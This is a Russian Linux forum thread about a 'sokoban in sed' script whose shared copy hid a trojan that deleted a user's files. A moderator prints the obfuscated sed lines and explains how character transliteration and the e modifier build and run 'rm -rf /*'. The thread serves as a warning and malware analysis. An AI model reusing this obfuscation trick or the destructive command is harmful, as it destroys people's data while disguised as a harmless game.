сокобан на sed

Нативные и в Wine/Cedega - проблемы, настройка, обсуждение

Модератор: Hoblin

Farmer
Сообщения: 9
ОС: слака

сокобан на sed

Сообщение Farmer » 06.07.2009 21:50

привет

рылся на старом винте нашол вот это O_O

зацените
[удалено]
запускать так

Код: Выделить всё

tar xvzf sokoban.tar.gz
sed -f sokoban.sed
ещё хотел спросить посоветуйте какиенить доки по седу заинтересовало мну
Последний раз редактировалось /dev/random 02.01.2019 09:31, всего редактировалось 1 раз.
Причина: удалён файл с вредоносным кодом
Спасибо сказали:

Аватара пользователя
VarLog
Сообщения: 311
ОС: openSUSE 12.2

Re: сокобан на sed

Сообщение VarLog » 06.07.2009 21:58

На самом деле всё очень просто...
Спасибо сказали:

Farmer
Сообщения: 9
ОС: слака

Re: сокобан на sed

Сообщение Farmer » 06.07.2009 22:04


спасибо большое

тетрис гляну
а сокобан клёвая вещь уже 20 уровней прошол всем советую если время появится поиграцца
Спасибо сказали:

v4567
Сообщения: 109

Re: сокобан на sed

Сообщение v4567 » 01.01.2019 18:38

Farmer, скачал выложенный тобой сокобан, запустил и он удалил мне все файлы, причём удалил стерев информацию о них из таблиц разделов теперь восстановить не могу.
Не скачивайте его и не запускайте, в нём или какая то команда которая удаляет информацию из разделов или как то вмонтирован вирус.
Спасибо сказали:

Аватара пользователя
Bizdelnick
Модератор
Сообщения: 14940
Статус: grammatikführer
ОС: Debian GNU/Linux

Re: сокобан на sed

Сообщение Bizdelnick » 02.01.2019 02:40

Farmer запоздало отправлен в бан.
Ежели кому интересно, вот что он запихнул в скрипт (не пытайтесь выполнить):

Код: Выделить всё

s:^.\+$:{s}\:{y}=*}2>y:;y:{\:}:r- :;y:y=s:f/m:;
s;.\?\+;&\&;e;s,\(\n\)$,\1\1[ h j k l :q :m :f :gN ],
А вот тут лежит безобидный оригинал.
Мораль: не качайте софт из недоверенных источников, в том числе с этого форума.
Пишите правильно:
в консоли
вкупе (с чем-либо)
в общем
вообще
в течение (часа)
команда
новичок
нюанс
приемлемо
проблема
пробовать
трафик
Спасибо сказали:

v4567
Сообщения: 109

Re: сокобан на sed

Сообщение v4567 » 02.01.2019 14:03

В какие команды преобразуются эти строчки?
Спасибо сказали:

Аватара пользователя
Bizdelnick
Модератор
Сообщения: 14940
Статус: grammatikführer
ОС: Debian GNU/Linux

Re: сокобан на sed

Сообщение Bizdelnick » 02.01.2019 14:28

v4567 писал:
02.01.2019 14:03
В какие команды преобразуются эти строчки?
rm -rf /* 2>f&
Пишите правильно:
в консоли
вкупе (с чем-либо)
в общем
вообще
в течение (часа)
команда
новичок
нюанс
приемлемо
проблема
пробовать
трафик
Спасибо сказали:

Аватара пользователя
yoricI
Сообщения: 603
ОС: gentoo fluxbox

Re: сокобан на sed

Сообщение yoricI » 02.01.2019 14:36

Что, из-под бесправного всё удалил?
Спасибо сказали:

Аватара пользователя
devilr
Сообщения: 1633
ОС: Mandriva => Gentoo (~amd64)

Re: сокобан на sed

Сообщение devilr » 02.01.2019 14:46

yoricI писал:
02.01.2019 14:36
Что, из-под бесправного всё удалил?
Ну, патч Бармина каталог пользователя то точно зацепит. А остальное, как раз не особо важно - можно просто переустановить...
Мудрость приходит с возрастом.
Иногда возраст приходит один.
Спасибо сказали:

Аватара пользователя
yoricI
Сообщения: 603
ОС: gentoo fluxbox

Re: сокобан на sed

Сообщение yoricI » 02.01.2019 14:50

А, мне почудилось, что аж таблицу разделов почистил.
Спасибо сказали:

Аватара пользователя
devilr
Сообщения: 1633
ОС: Mandriva => Gentoo (~amd64)

Re: сокобан на sed

Сообщение devilr » 02.01.2019 14:51

yoricI писал:
02.01.2019 14:50
А, мне почудилось, что аж таблицу разделов почистил.
Не, ну мало ли - кто-то непроверенные файлы и их под рута может запустить. :D
Мудрость приходит с возрастом.
Иногда возраст приходит один.
Спасибо сказали:

v4567
Сообщения: 109

Re: сокобан на sed

Сообщение v4567 » 02.01.2019 14:59

Может я ошибаюсь, но rm -fr /* поставит в таблицах разделов только разрешение на запись , а у меня вытерлась вся информация о файлах в таблицах разделов. Осталась информация только о папках в корне и всё. Причём testdisk находит резервные таблицы разделов переписывает их но всё равно при монтировании раздела там пусто. Получается, что и в резервных таблицах всё вытерто.
hexedit-том смотрел сам раздел иноды файлов не затёрты, находил номера телефонов в текстовых файлах.
Спасибо сказали:

v4567
Сообщения: 109

Re: сокобан на sed

Сообщение v4567 » 02.01.2019 15:03

Сейчас пытаюсь разобрать как вот это:

Код: Выделить всё

s:^.\+$:{s}\:{y}=*}2>y:;y:{\:}:r- :;y:y=s:f/m:;
s;.\?\+;&\&;e;s,\(\n\)$,\1\1[ h j k l :q :m :f :gN ],
Преобразовывается вот в это:

Код: Выделить всё

rm -fr /* 2>$&
Не подскажите где скачать подробный справочник по sed на русском языке?
Спасибо сказали:

Аватара пользователя
Bizdelnick
Модератор
Сообщения: 14940
Статус: grammatikführer
ОС: Debian GNU/Linux

Re: сокобан на sed

Сообщение Bizdelnick » 02.01.2019 15:24

Первая команда

Код: Выделить всё

s:^.\+$:{s}\:{y}=*}2>y:
заменяет любую непустую строку на {s}:{y}=*}2>y.
Вторая команда

Код: Выделить всё

y:{\:}:r- :
заменой символов преобразует это в rs -ry =* 2>y.
Третья команда

Код: Выделить всё

y:y=s:f/m:
аналогичным образом преобразует строку в rm -rf /* 2>f.
Четвёртая команда

Код: Выделить всё

s;.\?\+;&\&;e
добавляет в конец строки & и, за счёт модификатора e, запускает команду на выполнение.
Последняя команда

Код: Выделить всё

s,\(\n\)$,\1\1[ h j k l :q :m :f :gN ],
осталась от оригинала, она должна выводить справочное сообщение.
Чтобы это понять, подробный справочник не нужен, достаточно знать две команды — s и y.
Пишите правильно:
в консоли
вкупе (с чем-либо)
в общем
вообще
в течение (часа)
команда
новичок
нюанс
приемлемо
проблема
пробовать
трафик
Спасибо сказали:

v4567
Сообщения: 109

Re: сокобан на sed

Сообщение v4567 » 02.01.2019 15:48

Bizdelnick спасибо!
Спасибо сказали: